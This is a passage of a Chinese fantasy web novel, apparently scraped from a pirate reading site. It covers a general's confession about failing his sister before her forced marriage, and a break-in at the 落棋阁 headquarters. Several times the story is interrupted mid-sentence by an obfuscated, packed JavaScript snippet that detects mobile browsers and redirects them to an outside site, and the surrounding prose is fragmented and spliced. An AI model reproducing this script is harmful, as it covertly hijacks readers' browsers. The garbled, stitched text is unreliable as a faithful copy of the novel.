谢停舟摇头:“还没有,家里有人出事了几家大臣还在闹,不过大多是冲着韩党那边,和宋将军关系不大。将军把两边人暂且分开,说自己会负责此案,这才暂时安抚了众臣之心。” 顾岁寒看着宋安澜的背影,微微出神。从这个角度看过去,宋安澜今天虽然没有披甲,背影却依然宽厚而可靠,光是看着就叫人安心。 比宋礼强多了……顾岁寒暗暗腹诽,却知道这话不能轻易和别人说,在舌尖滚了一圈又咽了回去,另换了话题问:“陛下醒了吗?沈和正那边有随行使臣晕倒,他们有没有说什么?” 说起这谢停舟也是困惑地皱起了眉:“……不,陛下还没醒,不过脉象已然趋于平稳,御医说估计快了。至于沈和正那边,很奇怪,什么话都没说,只是拜托在他们院子附近值守的黑棋过来说能不能快点了解此案,北周还在等着他回去。” 顾岁寒轻声问:“那将军怎么说?能放他们回去吗?” 谢停舟摇头:“沈和正一行人肯定是不能扣押的,谁知道时间长了会出什么事?不过殿下的意思是眼下还不能放,一是陛下还没醒,此事不能绕过他的意思;二是朝中众臣的眼睛都还盯着这边,他们可不知道此事和沈和正是不是真的毫无关联,要是将军就这么轻易放虎归山,指不定会招来什么指责。” 顾岁寒本来就讨厌这些朝中的弯弯道道,失忆之后什么利害关系都不太记得,听这些更是头脑发晕,伸出手支着太阳穴来消化这一-大团毛线似的人情:“……好吧,所以现在是在干什么?有什么新发现吗,为什么都围着那边?” “哦,”谢停舟解释道,“那边有个人出现了失魂症,好巧不巧,他以前是在阿泠帐下任职的,所以两位将军都很关心。” “失魂症?”顾岁寒挑眉,“他魂魄没了?所以他现下是在谁那里当值的?” “有认识他的人说,阿泠死后,他就重新谋了个金吾卫的差事,此次也是随侍圣驾左右才来的上林苑。” 顾岁寒对涉及魂魄的术法只能说是略懂皮毛,但谢停舟出身内修大家青城山,按理来说应该精于此道才是,于是问他:“失魂症不应当是你擅长的领域吗?怎么反倒是你在这里隔岸观火?” 谢停舟只是摇头:“我才疏学浅,只能看出此人魂魄不在体内,至于为什么不在、什么时候能回来,一概不知,便不在他二位面前添乱了。” 说话间,姬昀听见了她的声音,便急急地走了过来。顾岁寒想起来对方所托,连忙安抚道:“姬将军莫要担心,公主身上没有木偶纹,而且我回来时已然清醒,看起来并无大碍。将军要是不放心的话,不如叫人过去仔细探探公主的魂魄?” 听到前半句话时,姬昀明显松了口气;不过听到后半句时,他又明显踌躇了起来。顾岁寒也不说话,就看着他在原地驴拉磨似的转了一圈,最后道:“算了吧。知道她还安好,我就放心了。至于失魂傀儡一事,我们都还不清楚,就不要拿这种事麻烦她了。” 这话说得古怪,更像是他不派人去关怀自己妹妹的说辞。顾岁寒不由得想起丹桂说他们兄妹二人曾经离心一事,没忍住打听道:“当真如此?我倒是听公主身边的丹桂姑娘说,将军和公主的关系并不像外人看去那么好,本来以为是谣言,结果现下看来,却是有一两分真呢。” 这话本意只是试探,没想到姬昀听罢,脸上神情顿时跟打碎了的颜料盘似的,十分五彩缤纷。谢停舟显然也是第一次听见这种说法,十分吃惊地看着自己的主帅。 姬昀被面前两道视线看得脸色烧红一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这事对于一个传承还未断绝、家风也还清正的修行世家来说堪称诡异。放到百年前,谁都想不到这个名将辈出的家族竟马上就要沦落到亡族的程度。姬肃本人对这件事也颇为焦急,但不知是急功近利还是夫妻两人没有子女运,成婚后好几年,两人都无所出。 顾云华对于丈夫这种焦虑十分不满。关于寿数的术数运算自古以来就被认为是触及天道的禁术,算得不准的大有人在,所以姬肃这种传承断绝的忧虑很有可能是杞人忧天;而且怀孕育儿对她在战场上建功立业也有害无利。思量再三,她向姬肃提出:要不我们养育一个莲生子吧。 所谓莲生子,便是将清净地的莲花、莲藕以及莲子拼作人形,用夫妇二人血肉浇灌,便能长出一个活蹦乱跳的小儿。且莲生子血脉肉身都与父母相通,一些需要血脉传承的术法也能学习,一方面免去了顾云华的孕育之苦,另一方面也解决了姬肃忧心姬家术法不能传承的问题。 唯一的不足就是,这个术法需要夫妻双方都有强大的法力,而且两人都需要贡献出自己身上最为珍贵的血肉,术法才能成行。 思量再三,姬肃同意了。法力是最不用担心的,他二人都出自修仙世家,自小修行,最不却的就是修为;清净地的三莲也很快就找齐;最后的问题就是,到底怎样珍贵的血肉才能让天道认可,让他夫妻二人这堪称女娲造人般的壮举能成功呢? 夫妻二人翻遍古籍,试图寻找前人成功的经验拿来效仿,却迟迟未有结果。敢于尝试此等行径的人本就不多,成功的人更是如沧海一粟。就当两人几乎要放弃时,一篇杂记跃入了两人视野。 ——最珍贵的血肉并无一个固定的要求,而是取决于献出血肉的人。只要这片血肉对于献肉之人而言举足轻重,那就可以被天道造物规则所认可。 姬肃是军中-出了名的神射手,百步穿杨,所以他取出了自己的眼睛作为莲生子的温床;顾云华在军中一杆银枪如入无人之境,一手枪法使得出神入化,所以她奉出了自己握枪的右手的小拇指,从此改练左手枪法。 莲生子在两人期许的目光下渐渐长大,生出人形。据说莲生子成形的最后几天会生出羞-耻之心,是不能被旁人所看到的,所以在最后几天,夫妻二人特意将莲生子送到了附近的道观中,找了个清净厢房单独放置起来,以免被他人看见。 然而,就是最后这几天出了问题。 按理已然到了莲生子彻底成形的那天,厢房中却迟迟没能传出该有的动静。姬肃和顾云华二人焦急万分,却也不敢贸然进入房间,怕打搅了最后关键的步骤。然而第二天、第三天……厢房中连呼吸声都没有,也就是说,莲生子很有可能失败了,夫妻二人自以为珍贵的血肉很可能并不被天地认可。 姬肃失望万分,亲自打开厢房门上的锁,准备进去回收这场术法的失败品。 可就在他打开门的那一瞬,厢房中传出了响亮的哭声。 不是一声,是两声。 他们的血肉,孕育出了两个天地道法的婴儿。 29. 思越人 五(上) 事后两人才发现,那株莲花其实是并蒂莲。就在它被单独安放的那几天,原本只是一支的莲花成了精般,飞速抽条出一朵新的小小花骨朵,并在这天落地成人。 但新生的花朵明显比原来那朵小很多,生出来的人也比另一个瘦弱。更糟糕的是,按照古籍记载,每孕育一个莲生子就需要父母各出一份血肉。这小花朵仿佛钻了什么空子似的生长成人不说,还分走了原本属于自己的同伴的一部分血肉法力。 两个孩子,无论是谁,都没有姬肃和顾云华预期中那般有天赋。 “所以,”谢停舟插嘴,“瘦弱些的新生花是阿泠,原本那朵是你?” “正是,”姬昀点头,“我们俩都没有期待中那般好,所以自幼时父母对我们要求就十分严格。好在最后我俩应该都勉强长成了他们希望的样子,不过他俩恐怕也都不知道了……” 他这题都快偏到关外去了,顾岁寒听了半天没听到自己想要的,忍不住打断提醒他:“将军,姬漓。” “哦,对,对,”姬昀恐怕是情绪大起大落之后懵住了,疲惫地撑住了额头,“姬漓……姬漓……唉,平心而论,我其实是很羡慕她的。她出生时战事已经基本平息了,所以父亲母亲都很期待她的出生。” “那时候我就感觉到,父母对她的感情和对我们俩的明显是不一样的。她……更像一个传统意义上的女儿,承载着父母对于家庭的渴盼而出生长大,我们两个……”他想了半天都没想到合适的形容,只好找了个比喻,“读书人会为了夜里用功而买灯烛,我们俩就是被父母买来的‘灯烛’。倘若他们俩没有‘夜里读书’的需要,那我们两个是绝对不会诞生在世界上的。” 顾岁寒若有所思地点了点头。谢停舟插嘴:“在下记得,姬漓公主被先帝收养之后,先帝对她也极尽娇宠,吃穿用度无不是一等一的,有时候甚至皇后宫中的用度都不及她。所以,将军是因为父辈的不公平才和公主有嫌隙的吗?” “我……我……”姬昀抬头看了他二人一眼,随后垂头丧气般低下了头,“是,但其实也不能算是……唉,说起来这件事,我也很后悔。” 那是姬漓及笄的那一年。为了庆祝,她生辰那日,姬泠暂时交代了手上的事,千里迢迢回到临安参加她的及笄礼。姬昀暂时走不开,也托人送来了生辰礼,并许诺过几日一定回。 先帝常年养在身边的女儿就姬漓一个,虽然这女儿和他没有什么血缘关系,但毕竟相处时间久了,养条狗都能养出感情,何况是一个活生生的,能听你说体己话、陪你下棋的人呢? 为表自己对姬漓的荣宠,先帝把及笄礼办得十分风光,生辰礼足足拉了八十一辆马车,奢华程度不亚于帝王嫁女。当日公主府也是门庭若市,文臣武将齐聚一堂。 姬泠当天少见地一整日都没戴人皮面具,以真容示人。但比之她这个目前在边境还籍籍无名的军师,她的妹妹明显要炙手可热许多,没几个人注意到她的出现。但宴会中途,姬漓常常在人群中寻找自己的姐姐,直到姐妹两人目光交汇,姬漓才放心地抿嘴一笑,将目光挪开去。 开礼之后,众人正衣冠。姬漓作为笄者站到了场中。皇后作为正宾为她挽发加笄,到三加【注】时,姬漓悄悄地看向了人群中的长姐,见她正笑盈盈地看着自己,姬漓松了口气,不知为何,有了一种流泪的冲动。 礼成之后,众人依次退场,告别时都前来给姬漓送上祝语。姬漓一一侧耳听着,脸几乎都要笑僵了。直到姬泠来时,还没等对方开口,姬漓就连忙叫住了她:“姐姐!” 姬泠疑惑地停住了。她小声央求道:“姐姐……别走,好不好?” 其实姬泠本是从北疆赶过来的。她刚刚统领分舵没多久,正是诸事忙碌的时候。她本打算和姬漓道别后就回去,但妹妹及笄毕竟是大事,她思量再三,答应道:“好。” 姬漓一下喜笑颜开。姬泠站到一边等姬漓把宾客应付完。 最后一人离开时,姬漓大大松了一口气,挺拔了一天的背也松快了不少。她转过身笑嘻嘻地拉起姬泠的手:“姐姐,可算和你说上话了,我好想你啊!” 姬泠心里还惦念着分舵的事,面上不显,嘴上的语气却是有些敷衍:“……怎么啦?咱们年节时不是刚见过吗,怎么现在就想了啊。” 姬漓没听出来姐姐的着急。她今天太快乐了,只是没心没肺道:“年节到现在也有快八个月了,好久好久呢!我就是想姐姐了嘛,今晚我可以和姐姐一起睡吗?” 姬泠明显迟疑了一下,但看姬漓期待的样子,只好咬牙道:“好啊,今天我们阿漓及笄,自然是听阿漓的。” 姐妹俩用了晚膳,手拉手进了屋洗漱,一起下了盘棋,姬漓还拉着姬泠弹琴给她听,直到夜深人静才休息。可上了床后,姬漓也不安生,姬泠闭着眼都能感觉到她像个小动物一样在被子里拱来拱去。 姬泠是风餐露宿惯了,什么情况下都能睡得着,但她觉得自己还是有必要关心一下自己的妹妹:“怎么啦,这么开心,还不赶紧睡觉,明天早上还要去宫里拜谢宋伯伯呢。” 姬漓没说话,但是却不动了。姬泠以为这下她要安然入睡了,于是也放心地闭上了眼睛。正当她昏昏沉沉就要入睡时,忽然听见姬漓喊她:“姐姐。” 这一声把姬泠喊清醒了。她本以为姬漓是兴奋得睡不着,但似乎并非如此。姬漓的声音闷闷的,带着哭腔,明显是受了委屈的样子。她连忙翻过身来面对着姬漓,半撑起自己的身子:“怎么啦?” 但姬漓半天没说话。姬泠急了:“是不是有人欺负你?跟姐姐说,实在不行就告诉宋伯伯,不能咽了这口气去!” 姬漓也坐了起来。黑暗中,她的眼睛像葡萄一样,反射着盈盈的光。姬泠听她说:“我……我好羡慕你啊,姐姐。” 姬泠等了半天没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444080|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这么一句话,顿时哭笑不得:“我有什么好羡慕的啊,干黑棋都是把脑袋别裤腰上的,指不定哪天就要出事了。” 姬漓听她这么说,顿时急了:“呸呸呸!姐姐不许这么说!姐姐要长命百岁的!” 姬泠只好哄她:“好好好,长命百岁。” 姬漓这才满意。但姬泠看着她神色,感觉她心中所想似乎并非说出来这般简单,便试探着问:“……所以到底怎么啦?为什么忽然和我说这个?” 姬漓半垂着头:“……没什么,姐姐。我就是忽然觉得,我是不是太幼稚了啊。前两天,朱鸢姐姐难产,差点就死了。宋伯伯说我及笄之后就要嫁人了,我害怕。” 她这话说得颠三倒四的,姬泠废了一番力气才明白她是想说件什么事。朱鸢算是姬漓的半个手帕交,姬泠不在她身边时,几乎是朱鸢代行了“姐姐”这一职务。姬泠隐约记得她应该是嫁给了自己的表哥。 如今姬漓也要出嫁,目睹了朱鸢因为生产在鬼门关前来回了一圈,她自然也心中惧怕。姬泠弄明白了她纠结一晚上了事由,顿时松了口气:“哎呀!原来是这么个事。这多简单,姐姐教你,你就直接跟宋伯伯说,还想多在他膝下留几年,孝顺孝顺,不想嫁人,这不就结了吗!宋伯伯看在阿爹阿娘的面子上,肯定不会驳了你的,别怕。” 姬漓殷殷切切道:“……真的吗?” 姬泠耐心道:“自然是真的呀,要是宋伯伯实在不同意的话,你就来找姐姐好啦,酿姐还有你安澜姐都可喜欢你了。到时候,姐姐请你吃北疆的烤羊!” 姬漓欢呼了一声,把自己摔回床上:“好耶!烤羊!” 姬泠哭笑不得,在她鼻子上刮了一下,蹭了一指头的鹅蛋粉:“就知道烤羊!现在放心了,可以好好睡了吗?” 姬漓“嗯嗯”点头,扯了扯被子,把自己埋进去,包成了鼓鼓囊囊的小包子。姬泠失笑,躺回了床上,伸手搂住这只汤包,一夜无梦,直到天明。 天亮之后两人一起用了早膳,便各奔东西。临走时,姬泠拉着姬漓肩膀,觉得她气色甚好,心结看样子也解了七八,于是满意地拍了拍她肩膀,道:“姐姐走啦,自己一个人在临安要照顾好自己。” 姬漓点头,目送着姐姐的背影离开公主府,往落棋阁总舵的方向走去。 这件事看似到此就圆满解决了,但事情的走向是姬泠姬漓二人都始料未及的。 先帝想嫁姬漓的意图不是无缘无故的。那时的镇西军主帅还不是姬昀,而是一员名为蔡虎的猛将。他和宋酿二人共为先帝的左膀右臂,也是本朝唯一的异性王,封地在川蜀一带。 但人心易变,哪怕是曾经的同袍也可能离心。近些年来,蔡虎的野心越来越大,愈发有割地为王的架势。先帝十分忌惮,但一时又没有好的理由向功臣下手。 然而这对君臣间岌岌可危的平衡,被蔡虎的一封奏折打破了。 30. 思越人 五(下) 姬家这一代已经有两个从军的人了,先帝绝对不能容忍姬漓成为未来的皇后,否则他百年以后到时候江山姓什么都未可知。但这理由又不能光明正大地说出来,所以先帝只能遮遮掩掩,以女大不中留为由给姬漓找个人家,迅速掐灭自家儿子这不该有的旖念。 但当时的姬漓不知道。她与先帝安排相看的那些男子压根不熟悉,让她嫁过去简直是天人说梦。她开始发了疯一般地反抗,托人联系远在北疆的姬泠等人,试图逃离临安这个巨大的牢笼。 但好巧不巧,姬泠刚刚回到青州,就因为白棋安排的问题潜入北周亲自调整,谁都不知道她究竟在哪;至于宋酿和宋安澜,她们俩那几日忙于练军,姬漓的话里又语焉不详,导致谁都没把姬漓的求助当一回事,以为那只是父皇的一时兴起,姬漓熬过这段就好了。 就在姬漓几乎要绝望时,她得到了一个好消息:原本因为军务繁忙没能抽开身的姬昀,启程返京了。 听到消息时,她喜出望外,派婢女蹲守在临安西门,等姬昀一出现,立马就将他叫到了自己府上。 姬昀对京中的事几乎是一无所知,所以当他接住朝他梨花带雨地跑过来的姬漓时,反应和当初听见姬漓哭腔的姬泠几乎是如出一辙:“阿漓?怎么了,谁欺负你了?” 姬漓一把鼻涕一把泪地把事情从头到尾交代了一遍。可等她说完最后一个字,满怀期待地抬起头来看向自己的哥哥时,却瞬间从头凉到了脚。 姬昀至今都记得姬漓颤颤巍巍的眼神:“哥……哥哥?为什么这么看着我?我……我说的有什么问题吗?” 姬昀也不记得自己当时是什么眼神了,但大抵是不耐烦的。在那时的他看来,女子嫁人虽说算不上天经地义,但也称得上是水到渠成。姬漓这样的小身板,舞不动枪挥不动棒,上不了沙场杀不了敌,文采也一般,那不嫁人还等着干什么呢? 先帝又不能养她一辈子,他和阿泠又不能常常顾得上她,早早觅个夫婿找到后半生的依靠才是正经事。现在这样又哭又闹的算什么呢? 但现在回忆起来,他不得不承认,当时他心中还有一个更为可怕的、充满了妒忌的恶毒念头。 “小的时候过得比我和阿泠都顺风顺水,现在也到了该偿还的时候了吧!” 当然,这话见不得人,他也说不出口。他只是遗憾地、又愉悦地看着姬漓一步步后退,神情从期冀一点点灰拜了下去,变得木然又绝望。 “……好,”她说,“我知道了,哥哥,我会遵从陛下的旨意,早日择婿嫁出去的。” 姬昀现在想来,其实是很想给过去的自己一巴掌的。他因为自己的无知和傲慢将妹妹推入了婚姻的火坑,还嘲笑她“幼稚”“不成熟”。 这是罪过。 当然,那一巴掌姬泠已经替现在的自己给过了,就在她出完任务回来后不久。 其实从姬漓的及笄礼算起,到姬泠梳理完北周境内白棋回来之后,只有短短不到一个月的时间。但一个月的时间内已经可以发生很多事了。 比如说,姬漓遵从先帝意愿,迅速地订了亲,连婚期都已经算好了;又比如说,姬漓在这其中做出了一些小小的反抗——她没有选择宋云起给她挑选的任意一个男人,而是选中了布衣出身、刚刚中了状元的韩玉青。 先帝对这个结果其实是有一些微妙的不满的。但无论如何,把姬漓嫁出去的目的已然达到,宋礼虽然看上去失魂落魄,却也算是走上了正轨,一切看起来都欣欣向荣。 姬泠听说了消息,当夜用缩地千里阵回到了临安,敲响了公主府的大门。门童见是她,却没有放她进去,而是用身子堵住了门口,傲慢道:“姬姑娘请回吧。我们殿下正在备嫁,按旧例不见外客。” 姬泠急道:“我怎么能算外客呢?我有急事找你家公主,小兄弟能否行个方便?” 门童将她从头到脚扫视了一遍,最后不情不愿道:“好吧,我去通报。”随后关上了门。门后的脚步声渐渐行远,姬泠焦急地在门口来回踱步,靴尖一不小心卡到了石子,把脚尖的布料划裂了一条长长的口子,露出了底下的袜袋。 姬泠看着那处裂口,心中不安的感觉始终挥之不去。 鞋履有损,不便行走,她干脆就在原地蹲了下来。姬泠等了一刻钟有余,正当她觉得脚都要蹲麻了的时候,她听见门里的脚步声去而复返,顿时兴奋地站了起来。谁知门打开之后,里面的门童还是摆着那副冷脸:“我们公主说了,不见。” 姬泠顿时急了:“为何不见呢?你是不是没说清楚?” 门童一听这话不乐意了,两手往胸前一抱:“你可听好了,我家公主明确说不见你。原话是,‘该来的时候不来,想必和其他人也是一条心了,现在假惺惺地跑来做什么?我心甘情愿要嫁给韩朗,叫她莫要来搅扰’。” 姬泠不知姬昀劝婚一事的前因后果,只觉得莫名其妙。门童见她发呆冷哼了一声,就要把门关上。姬泠眼疾手快,伸脚卡住了门缝。这门童关门劲不小,厚重的木门夹上脚面,顿时疼得她倒吸一口凉气。 门童只是遵从主人意思拒客,没有真想得罪自家殿下的亲姐姐,顿时慌里慌张地松了门,嘴上还色厉内荏道:“做,做什么!反正今天这门你是绝对进不了的,哪怕是进了,你也见不着殿下!请回吧!” “不,不是,”姬泠抽回自己的脚,感到上面红热的温度,怀疑明天这脚就能肿成猪蹄,“小兄弟,我就是问个事,什么叫‘和其他人是一条心了’?我离开后这段时间,有人对公主说了什么不成?” 门童想了想,便将姬昀曾到访的事说了。姬泠当时就觉得大为不妙,匆匆和门童道谢后就用阁里的缩地千里阵赶往西疆,找到了正在巡营的姬昀。俩人一对账,姬昀吞吞吐吐地把事情交代了,下一瞬,一个巴掌就扇了过来,姬昀被那力道扇得头都偏了过去,便听得姬泠冷冷的声音。 “姬灼烨,”她连姓带字地喊他,眼睛里都是奔波和愤怒产生的红血丝,“我看不起你。” 姬昀不敢出声。姬泠咬牙切齿。 “亏阿漓把你当最亲的人。”她说,“你竟连尊重她的意愿都做不到吗?我问你,倘若今天要相看不喜欢的婚约对象的人是你,你还会觉得‘男子适时娶妻成家’是顺理成章吗?你会娶一个你不爱的人,浑浑噩噩地过一生吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454101|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姬昀刚想反驳这怎么能一样,却惊觉其中并没有什么不同。姬漓固然软弱,但贸然为她寻找下半生的靠山无异于把她推向一个火坑——因为谁都不知道这靠山到底是坚硬的大理石,还是一吹即散的散沙。 “现在你明白了,”姬泠斜着眼看他,目光里只剩冷冰冰的愤怒,“女子走出家宅一途,道阻且长。我不指望每个男人都能理解,却也曾经觉得至少你是不同的。” “母亲,我,你喜欢了好久的宋安澜,每个活生生的例子都在告诉你,女子也能顶天立地,女子不是天生就应当低人一等的。我以为,耳濡目染这么久,你至少能明白。” 姬泠冷笑一声:“现在我明白了。指望男子理解女子的境地就好比让夏虫知道冬天的冰寒,是几乎不可能的。” 姬泠扔下这番话后就扭头走了。兄妹两人冷战了数月,期间听说了消息的宋安澜也来信把他劈头盖脸地骂了一顿。 可当姬昀终于明白了自己犯下了什么样的错误,想找姬漓和好时,他们之间的裂隙却像是被撕碎的布帛,哪怕拼回去了,中间也有一道丑陋的缝线。 姬漓还会称他为“哥哥”“兄长”,但说话时都盯着他衣领。两人再也没有眼神上的接触,明明是世界上最亲的人,却也相敬如宾了。 听完了来龙去脉,顾岁寒默默在心里鼓掌:姬泠这一巴掌扇得好哇。 当然这话她没说出口。不过看谢停舟神色,他恐怕也是这么想的。他神色复杂地拍了拍姬昀的肩膀,也不知说什么好了。 屋里一时间陷入了诡异的沉默。一直旁听的宋安澜责备地看了一眼姬昀,随后走过来:“这边我调查得差不多了,咱们出去说吧。” 四个人鱼贯而出到了屋外。等走到一处僻静地方时,宋安澜转过身来,道:“我先说安排吧。” 听见她语气严肃起来,顾岁寒站直了身子,便听得她说道:“韩玉青此人绝对有问题,梅臣,你现在立刻返回阁中,组织棋子搜寻韩玉青的下落。” 顾岁寒麻利道:“是。” “此案蹊跷重重,我怀疑韩玉青早有预谋。人傀儡的法术我们都毫不了解,可能需要派人潜入滇国查探此事。” 说这话的时候宋安澜的目光移向了姬昀。他立刻会意:“我马上就要返回军中了,此事由我打理。” 顾岁寒补充道:“西疆一线落棋阁也有安插棋子,虽然数量不及北疆一带,但也可从旁协助将军。” 宋安澜看了一直没出声的谢停舟一眼,叹了口气:“至于谢将军……就先接着查阿泠的案子吧。唉,阿泠一事也真是的,简直毫无头绪,说不定到时候把韩玉青抓回来上点刑问问还能有点新线索……” 谢停舟闻言神色微微一动。顾岁寒心说这不就是宋安澜忽悠谢停舟去帮忙的激将大法,一边又不得不承认宋安澜言之有理。 姬泠一案线索太少,唯一还算清楚的韩玉青夫妇就像两只闭嘴的蚌壳,怎么撬都撬不开。 韩玉青这次看似在秋猎上莫名其妙地发难,却也露出了自己的致命空门:至少落棋阁想要追查他身上有关姬泠的线索,不会因为他位高权重而且只是“有嫌疑”而不能深查了。 31. 苏幕遮 一 当天夜里,顾岁寒就返回了城中的落棋阁——蹭了谢停舟的飞剑回去的。她一边愧疚自己好像在把人当马使唤,一边又觉得这实在是方便,没忍住又使唤了他一次。 送她回阁里之后,顾岁寒往自己的书房方向走,准备把蒋奚几个人从床上刨起来商量下一步动作,谢停舟则往自己在落棋阁院子里的值房兼卧房的方向走去。顾岁寒看着他一个人孤零零的背影,鬼使神差地叫住了他:“喂!谢将军,你……不回自己府上吗?” 谢停舟回过头来。夜里没什么光,顾岁寒看不清他的表情,只感觉他似乎微微愣了愣,半晌才道:“我……我在临安没有府邸。” 说这话时他语调奇怪,但顾岁寒没有深想,只是被他话里的意思惊到了:“没有府邸?那将军以前返京都是住哪里的呢?” “没和阿泠定亲之前,在京中都是小住,一般就找个客栈。”谢停舟微微侧脸,看向临安城里的方向,“定亲之后,就住在公主府上。现在公主府被查封,自然就没有家了。” 说这话时,他语气中带有无限落寞。顾岁寒这才意识到,之前她听他语调奇怪,是因为他说话时在强忍哽咽。 原来,是姬泠给了他一个家。 他被姬泠从隐居地拉出来,拉进这纷纷世间,叫他为国效力,叫他见到这世间最绚烂颜色。朱雀街的五陵年少,就此落成了他心中最鲜艳一点红。 可当他已然决意要为这王朝奉献一生时,她却松开了拉着他的那只手,徒留他一人在这滚滚红尘间辗转。 他便没有家了。 她微微愣神。谢停舟见她没有下一个问题,拱手一礼以示告别,缓缓地走向了自己值房的方向。 顾岁寒沿着石子小路往自己的院子走去。良久,她才意识到,刚刚他看的方向,应该就是城里长安公主府的位置。 她曾经路过那里。朱红的木门上贴着金吾卫的封条,院子里的树木已经旁逸斜出地长到了院外。那时她和宋安澜同乘一车,车路过公主府门前时,宋安澜特意叫停了车夫,掀开车窗上的车帘看了很久。 于是她便记住了那座芳草萋萋的院落。 现在想来,仅仅一年之前,公主府还举办过姬泠姬昀二人的生辰宴。姬氏兄妹三人在院里开怀畅饮,亲密无间。 现在已是物是人非。 顾岁寒摇了摇头,把脑袋里的胡思乱想甩了出去,进了自己的书房。书房里没点蜡烛,但顾岁寒早就对这里熟稔于心,摸着黑就往桌边走。 她有轻微的洁癖,或许也是常年在落棋阁带来的习惯,东西不归纳整齐她就十分难受。所以她的书房里,各类物品一向是分门别类地在架子上收好的。但今天,她走到半路时,脚下忽然踢到了什么东西。 顾岁寒意识到不对,一挥手点亮了书房里所有的灯烛。刹那间小小的书房光亮如昼——顾岁寒微微瞪大了眼,意识到这个书房像被人洗劫过一般,竹简、书册散落一地,墙上的挂画也被人扯下了一半,惨不忍睹。 她下意识把手按上了腰侧的剑柄,但很快意识到已经没有必要了。房间里没有第二个人的声音,盗贼早已逃走。她顺着地上沾了泥的鞋印快步走到后窗边,呼地打开窗,顺着这个方向看去,正是落棋阁的北苑,那边都是没出师的小棋子们的卧房。 此刻小棋子们都已经安睡,苑里一片寂静。 顾岁寒刹那间就意识到大事不好,她疾步返回到书桌旁,抓了一-大把传声符,匆忙间也没注意都传给了谁,只是低声道:“有人潜入落棋阁,速速叫所有还在阁里的人到执棋院前的空地来!” 不到半柱香的时间,空地前就呼啦啦地来了一批人。顾岁寒微微侧身,听着小棋子们的教习挨个来汇报手下棋子的到场情况,确认了无人伤亡,才微微松了一口气。 自打去年沈和正奇袭落棋阁之后,阁里夜间的守备就加强了许多,蒋奚也值今天的夜班。她站在顾岁寒身侧,略带担忧地看着她的背影,等教习们都汇报完之后才走上前来,低声问:“怎么样?” “无人伤亡,目前看也没丢什么要紧东西。我回来时,那个翻我书房的人应当还在,听到我回阁里的消息才匆匆溜走,以至于没有时间善后。”顾岁寒不易察觉地舔了舔自己的嘴唇,感到一丝焦虑,“阁里四方值守的黑棋都说无人闯入,到底是这人武功太高了,还是……” 还是说,那个贼人就在面前这些人当中,而她们浑然不觉? 蒋奚顺着她的目光往下扫了一圈,没看出什么端倪,只好摇了摇头:“……我也不知道。要不要把人都扣在阁里,一一审查?” 顾岁寒点点头,随后犹豫了一下,又摇摇头:“……现在总舵派出去的白棋有多少?” 蒋奚分管白棋,对这方面早就烂熟于心:“三百四十二个,在我朝境内的有两百五十七个。” 随后她很快反应过来:“……执棋是在想安排找韩玉青的事?那现在这些白棋确实不够,还要从总舵多调一些黑棋出去。” 顾岁寒心不在焉地“嗯”了一声:“殿下找了精通术数的人算韩玉青的大致下落,等算好了我再安排。可要是扣下来今晚在阁里的人的话,剩余的人够调用吗?” 蒋奚掐指一算,为难地摇了摇头。夜间值守的本就以黑棋为主,假如把这批黑棋都扣下来的话,剩余的黑棋是绝对不够找人的。顾岁寒对这个结果早就有预料,听到的时候也没忍住叹了口气:“……当初怎么不多培养些人呢,抠抠搜搜的,干什么事都伸不开手脚。” 蒋奚解释:“本来是够的,但是沈贼那次杀了不少黑棋,现在才不够了。不过今年我们特意多找殿下要了些钱,招的小棋子比往年都多。” 但黑棋武功难学,出师都要至少五六年。姬泠当年在轻功一途上可谓天纵奇才,也是花了四年半才将将过了总试,今年招的小棋子们根本就是远水解不了近渴。 顾岁寒没有说话,只是目光沉沉地看着底下,忽然灵光一现:“你叫男的把上衣都脱了,女的叫几个教习,一一看看身上有没有什么奇怪的纹路,那几个教习就互相查看一下。” 蒋奚听去上林苑的棋子们说了木偶纹的事情,闻言便明白了她在怀疑什么,不由得微微一愣:“你是怀疑阁里也有被韩玉青控制的人?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469036|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“以防万一。”顾岁寒简短道。蒋奚将话吩咐下去,棋子们虽然疑惑,但遵从命令的本能已然刻入骨髓,纷纷开始脱-衣自查。 顾岁寒站在高处,紧紧盯着所有人的一举一动,不放过每个人脸上细微的神色变化。这时她才注意到谢停舟也被叫来了,远远地站在人群外面,看样子恐怕刚刚躺下歇息就被叫起来,外面的罩衫还有些凌乱。 有个教习查过去,对着谢停舟为难起来,也不知道他这个编外人员该不该查。好在谢停舟注意到了,善解人意地把衣服先脱了下来。 